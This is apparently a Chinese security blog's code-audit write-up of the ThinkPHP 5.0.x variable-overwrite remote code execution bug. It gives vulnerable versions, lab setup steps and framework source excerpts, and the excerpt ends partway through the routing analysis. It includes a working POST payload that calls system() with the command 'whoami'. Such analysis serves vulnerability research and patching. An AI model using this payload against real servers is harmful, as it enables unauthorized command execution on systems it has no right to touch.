代码审计|[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析 web安全|渗透|thinkphp|安全漏洞

前言漏洞存在版本，分为两大版本：

ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30

环境搭建

composer create-project topthink/think=5.0.5 thinkphp5.0.5--prefer-dist

修改composer.json

"require": { "php": ">=5.4.0", "topthink/framework": "5.0.5" },

执行composer update
访问public/index.php

文章图片

漏洞分析 payload:

_method=__construct&method=get&filter[]=system&get[]=whoami

在thinkphp/library/think/Request.php中的method方法里面

public function method($method = false) { if (true === $method) { // 获取原始请求类型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } } return $this->method; }

看这里的判断，跟进一下config的get方法

if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);

他执行了Config::get('var_method')，把参数var_method给传进去

public static function get($name = null, $range = '') { $range = $range ?: self::$range; // 无参数时获取所有 if (empty($name) && isset(self::$config[$range])) { return self::$config[$range]; }if (!strpos($name, '.')) { $name = strtolower($name); return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null; } else { // 二维数组设置和获取支持 $name= explode('.', $name); $name[0] = strtolower($name[0]); return isset(self::$config[$range][$name[0]][$name[1]]) ? self::$config[$range][$name[0]][$name[1]] : null; } }

返回了一个$config[$range][$name]，即config[_sys_][var_method]，他的值就是_method

文章图片

所以当我们传入_method=xxx的时候，就可以控制这个

$this->{$this->method}($_POST);

，从而去执行想要执行的函数

if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);

再看这个类的__construct方法

文章图片

这个循环会造成一个变量覆盖，而且还是循环的覆盖，可以覆盖很多的值
清楚了漏洞存在的根本原因，接下来我们直接从入口开始分析，public/index.php

文章图片

再跟进start.php

文章图片

调用了一个App的run方法
再跟进这个方法，这里检测路由会调用routeCheck方法

// 获取应用调度信息 $dispatch = self::$dispatch; if (empty($dispatch)) { // 进行URL路由检测 $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch);

routeCheck里面调用了Route的check方法